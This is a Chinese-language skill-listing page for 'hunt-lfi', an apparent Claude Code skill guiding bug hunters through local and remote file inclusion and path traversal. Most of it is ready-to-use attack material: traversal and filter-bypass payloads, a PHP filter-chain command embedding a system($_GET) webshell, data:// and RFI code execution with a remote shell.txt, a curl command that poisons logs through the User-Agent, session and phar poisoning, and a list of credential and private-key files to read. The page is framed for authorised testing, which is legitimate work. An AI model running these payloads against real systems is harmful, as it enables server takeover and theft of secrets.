mcpField
H
hunt-lfi

hunt-lfi

github.com/elementalsouls安全5.3k252 次安装今天更新
代码仓库

关于 hunt-lfi

面向安全测试人员的文件包含与路径遍历测试技能,涵盖本地及远程文件包含、PHP 包装器和归档处理等入口。它提供分阶段测试方法,并要求通过文件内容、带外回调或稳定差异确认发现。

主要功能

  1. 01路径遍历与文件读取测试
  2. 02PHP 包装器源码读取检查
  3. 03PHP filter 链代码执行测试
  4. 04远程文件包含前提检查
  5. 05日志、会话与上传文件投毒测试
  6. 06盲测与误报验证流程

适用场景

  1. 01检查参数是否可读取服务器文件
  2. 02确认 PHP 源码是否可经编码读取
  3. 03验证盲文件包含的带外回调
  4. 04测试归档解压是否越界写入

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-lfi

安装后在 Claude Code 中输入/hunt-lfi确认已加载。

详细介绍

HUNT-LFI — 本地 / 远程文件包含与路径遍历

核心目标

可导致代码执行的 LFI 属于严重级别。纯文件读取若暴露了机密(.env、wp-config.php、私钥、云凭据),则属高级别;若只能读取非敏感文件,则属中级别。

最具价值的攻击链(按 2026 年的大致可靠性排序):

  • PHP 过滤器链 → RCE — 现代首选方法。通过串联 iconv 转换,在内存中伪造任意 PHP 负载,可将单纯的 php://filter 文件读取原语升级为 RCE,无需上传端点,也无需可写文件(Synacktiv,2022)。请参阅下方专门章节。这是影响最大、也最容易被忽略的尝试方向。
  • 日志投毒 → RCE — 将 PHP 注入 Apache/Nginx 日志(User-Agent / URL 路径),然后包含该日志。由于越来越多地被 open_basedir 和不可读的日志权限阻止,因此应先确认日志可读。
  • PHP 包装器 → 源码泄露 — php://filter/convert.base64-encode/resource=index.php 可泄露源码;读取源码以查找更多 LFI 接入点、机密和包含基路径。
  • RFI → RCE — 当 allow_url_include=On 时,?file=http://OOB/shell.txt 会拉取并执行远程代码。现代配置中很少见,但一旦存在就很容易达到严重级别。
  • phar:// 反序列化 — 精心构造的 PHAR 加上任意一个针对元数据进行反序列化的接入点 → 对象注入 RCE。
  • zip:// / data:// 攻击链,以及过滤器阻止包装器时使用的会话 / 上传投毒。

OOB / 盲 LFI 确认门槛(请先阅读)

LFI 经常是盲的:包含的内容会被解析 / 执行,但不会反映出来;或者页面将文件内容塞入一个你无法查看的模板中。不要仅凭间接信号声称存在 LFI。

哪些情况不算确认
  • ../../etc/passwd 与普通值返回不同的状态码或错误字符串。应用可能只是对 ../ 进行字符串匹配,并返回预设的 403/500,而根本没有访问文件系统。
  • 错误消息中回显了你的输入(例如 failed to open '/var/www/../../etc/passwd')。这只是路径格式化器的输出,不能证明文件已被读取。真正的读取会显示文件的内容,而不是你的路径。
  • 页面“看起来不一样”。反射输入或 WAF 拦截页面产生的差异,与真正的文件读取无关。
哪些情况算确认
  • **直接读取:**出现文件的实际内容(真实的 root:x:0:0: 行,或对过滤器输出进行 Base64 解码后得到的真实 PHP 源码)。
  • **通过 OOB 外传确认盲读:**使用 php://filter 或类似 XXE 的攻击链,让负载向你的 Burp Collaborator 子域名发起 DNS/HTTP 回调;或者使用触发出站请求的 expect:// / 包装器。Collaborator 收到针对每个接入点唯一标记的命中(DNS + HTTP,且包含服务器源 IP),即可证明包含操作已执行。
  • **通过差异 / 时序确认盲读:**包含一个你确定存在且体积较大的文件(/etc/passwd),再与一个不存在的文件(/etc/passwd_nope_<rand>)进行比较。稳定、可重复的响应长度或延迟差异 = 确实访问了文件系统。再用第三个已知存在的路径确认,以排除巧合。
默认工作流程
  1. 选择一个唯一标记目标:优先选择内容可精确指纹识别的文件(/etc/passwd → grep ^root:)。对于盲读,使用 php://filter 进行 Base64 读取并解码——即使 Base64 内容不完整 / 被截断,仍可能解码出可识别的源码。
  2. 为每个接入点生成带有唯一子标签的 Collaborator 负载(lfi-page.<collab>、lfi-tpl.<collab>),以便通过回调识别触发的是哪个参数。
  3. 发送请求,等待 30–120s,然后轮询 OOB。
  4. 仅在内容匹配、收到 Collaborator 回调,或通过三次稳定验证确认时序 / 长度差异后,才声称存在 LFI。回显的路径和单独的状态码变化均不算确认。

攻击面信号

URL / 请求体参数
?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
技术栈信号
信号利用方向
PHP(X-Powered-By、.php、PHPSESSID)php:// filter-chain RCE、phar://、zip://、data://
可读取 Apache/Nginx 日志日志投毒 → RCE(先确认日志可读)
Apache 2.4.49 / 2.4.50(Server: 标头)CVE-2021-41773 / CVE-2021-42013 路径遍历 → RCE
Windows 上的 PHP-CGI(XAMPP、php-cgi.exe)CVE-2024-4577 参数注入 → RCE
Java servlet(/WEB-INF/)WEB-INF/web.xml、classes/、application.properties
Python Flask/Django/proc/self/environ、settings.py、SECRET_KEY
Node.js 文件服务 / res.sendFile、express.static路径遍历读取、require() 遍历
Windows IIS / .NET..\..\web.config、C:\Windows\win.ini、machineKey

分步方法

阶段 1 — 确定候选目标
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
阶段 2 — 路径遍历(读取)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too
?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd                  # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
阶段 3 — PHP 封装器(源代码泄露)
?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
阶段 4 — PHP Filter-Chain → RCE(无需上传,也无需可写文件)

现代旗舰技术(Synacktiv,2022)。如果你有一个支持 php://、能读取文件的 LFI,也可以执行攻击者指定的 PHP。通过 php://filter 链式调用 iconv 字符集转换,生成受控字节并添加到资源前,直到伪造出完整的 <?php ... ?> 载荷——随后由 include() 执行。无需上传端点、无需访问日志,也无需可写路径。

# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
#   git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id

注意事项:

  • include 接收端必须接受 php://filter 方案(大多数在参数上调用 include/require/file_get_contents 的 LFI 接收端都可以)。
  • 载荷会变得很长(10–50KB)。如果参数长度受限或 WAF 因载荷大小而拦截,可将其放入 POST 请求体,或使用最小载荷(<?=简写?>)。
  • 对于盲测目标,可将链式载荷设为 Collaborator 回调(<?php file_get_contents("http://x.<collab>/".id);?>),以便通过带外方式确认执行。
  • 即使日志投毒失败(日志不可读、open_basedir),此方法仍然有效。只要能通过 php:// filter 读取,就应尝试。
阶段 5 — 代码执行封装器(配置前提)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # <?php system($_GET['c']);?>

# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
#   POST ?file=php://input    body: <?php system($_GET['c']); ?>
#   (Same prerequisite as data://. Do NOT assume this works on default PHP config.)

# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
阶段 6 — 远程文件包含(RFI)

RFI = include 目标是一个远程 URL。前提:allow_url_include=On(以及 allow_url_fopen=On)。现代 PHP 默认关闭此功能,但旧版或配置错误的主机仍可能启用。

# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt          # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
阶段 7 — 日志投毒 → RCE
# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id                  # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
#   /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
阶段 8 — 会话 / 上传投毒
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg     # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
阶段 8b — 归档解压与图像处理接收端(无需 ?file=)

两个并非通过查询参数读取文件的 LFI/路径遍历入口:

  • Zip Slip / tar 符号链接逃逸 — 解压用户提供的归档文件时,服务器若跟随 ../../ 条目名称或嵌入的符号链接(tar 会保留符号链接),即可在解压目录之外读取或写入文件。构造名称为 ../../../etc/cron.d/x 的归档条目,或指向 /etc/passwd 的符号链接;在上传目录之外写入唯一的金丝雀文件以确认。披露编号:reports/1439593、reports/733072、reports/822262。
  • ImageMagick coder 读取接收端 — 即使没有文件参数,图像转换/缩略图/头像功能也可通过 MSL/MVG coder 读取本地文件:文件名/标签 label:@/etc/passwd,或 MSL 载荷(<image xlink:href="msl:/etc/passwd">),以及 msl:/ephemeral: 伪协议(ImageTragick CVE-2016-3714 系列)。披露编号:reports/1858574。与 hunt-file-upload 配合使用。
阶段 9 — 自动化(然后逐项手动确认)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
  "https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.

命名 CVE / 公开技术(依据)

上述模式的已验证、归属准确的参考资料:

  • PHP filter-chain 转 RCE — Synacktiv 研究(2022);php_filter_chain_generator。这不是 CVE,而是对已记录 iconv 行为的滥用。它是普通文件读取升级为严重级别的原因。
  • CVE-2021-41773 — Apache HTTP Server 2.4.49 路径遍历(规范化路径中的 %2e)→ 文件读取;启用 mod_cgi 时可导致 RCE。
  • CVE-2021-42013 — Apache HTTP Server 2.4.50 对上述问题的修复不完整(双重编码的 %%32%65)→ 路径遍历 / RCE。
  • CVE-2024-4577 — Windows 上的 PHP-CGI 参数注入(最佳匹配编码);可在 XAMPP 风格的堆栈上触发,可从文件服务链式利用至 RCE。

依据说明:此技能基于 31 份已披露的 LFI / 路径遍历报告构建。在报告中引用具体的 HackerOne 报告时,请链接你使用的确切报告 URL / ID —— 切勿凭记忆转述报告 ID。错误的 ID 比没有 ID 更糟。


要读取的敏感文件

# Linux
/etc/passwd  /etc/hosts  /etc/shadow (rarely readable)
/proc/self/environ  /proc/self/cmdline  /proc/self/status
/var/www/html/.env  /var/www/html/config.php  /var/www/html/wp-config.php
/home/*/.ssh/id_rsa  /root/.ssh/id_rsa  /root/.bash_history
/var/www/html/app/config/parameters.yml   # Symfony
.git/config  .git/HEAD  composer.json  package.json
# App / cloud secrets
/proc/self/environ  ~/.aws/credentials  ~/.docker/config.json  /run/secrets/*
# Windows / .NET
C:\Windows\win.ini  C:\inetpub\wwwroot\web.config  ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config

绕过表

过滤器绕过方式
只剥除一次 ../....// 或 ..../\(剥除后重新构成 ../)
只进行一次 URL 解码%252f(对 / 进行双重编码),点号使用 %252e
解码一次并阻止 ..对点号编码:%2e%2e%2f / 使用超长编码 %c0%ae(旧版)
在输入后追加 .php使用 ? 或 # 截断;空字节 %00(PHP < 5.3.4)
阻止 php:// 协议尝试 PHP://、pHp://,或 data:// / expect://
在前面添加固定基础目录使用足够多的 ../ 逃逸;如果未添加基础目录,也可使用绝对路径
阻止 /etc/passwd 字面值路径截断、/etc/./passwd、/etc//passwd
WAF 针对较长的过滤器链将链移至 POST 正文 / 尽量缩短载荷
Windows..\..\..\windows\win.ini、..%5c..%5c

利用链表

LFI 原语链式利用至影响
php://filter 读取filter-chain RCE(阶段 4)无需上传即可 RCE —— 严重
文件读取.env / config.php / wp-config.php数据库凭据、API 密钥 → 接管后端
文件读取/proc/self/environ、~/.aws/credentials环境变量机密、云密钥 → SSRF / IAM 横向利用
远程 URL 包含RFI(allow_url_include)直接 RCE —— 严重
文件读取 + 上传phar:// / 日志 / 会话投毒RCE —— 严重
源码泄露完整应用源码硬编码机密、新的危险调用点、machineKey

验证规范

直接读取证明(避免误报):

  • 展示实际内容,而不是回显的路径。/etc/passwd 必须包含一行字面内容 root:x:0:0:root:/root:。将响应与已知正常的参数值进行对比——差异必须是文件正文,而不是 WAF/错误页面。
  • 对于源代码读取,base64 必须能解码为有效的 PHP。解码结果是乱码或为空,就不算真正读取成功。
  • 排除反射:确认标记文本并非只是原样返回的输入。请求 /etc/passwd 和 /etc/passwd_<rand>(不存在的文件)——只有真实文件会返回内容。

盲测/带外证明:

  • 没有反射?使用会向唯一的 Burp Collaborator 子域名回连的 php://filter-chain 或 RFI payload。只有确认收到 DNS 和 HTTP 请求,且来源 IP 是服务器的,才能认定 include 已执行。每个 sink 使用单独的子标签。
  • 基于时间/长度的盲测:三次确认稳定的差异(已知的大文件、不存在的文件和另一个已知文件)。单次差异只是噪声——应撤回结论。

部分读取/截断读取:

  • 模板可能会对文件进行 HTML 转义或截断。使用 php://filter/convert.base64-encode,即使读取结果被截断,解码后仍能得到可识别的字节;准确报告实际恢复的内容,不要猜测缺失部分。

**RCE 证明:**展示由你控制的命令输出——反射出的 id / whoami / hostname,或从已执行的 payload 内部发出的带外回连(curl http://<collab>/)。“payload 已被接受”不代表实现了 RCE。

严重性:

  • 读取非敏感文件:中危
  • 读取文件并暴露数据库凭据/API 密钥/私钥/云凭据:高危
  • 通过 filter-chain / RFI / 日志/会话/phar/CVE 实现 RCE:严重

评论

支持 Markdown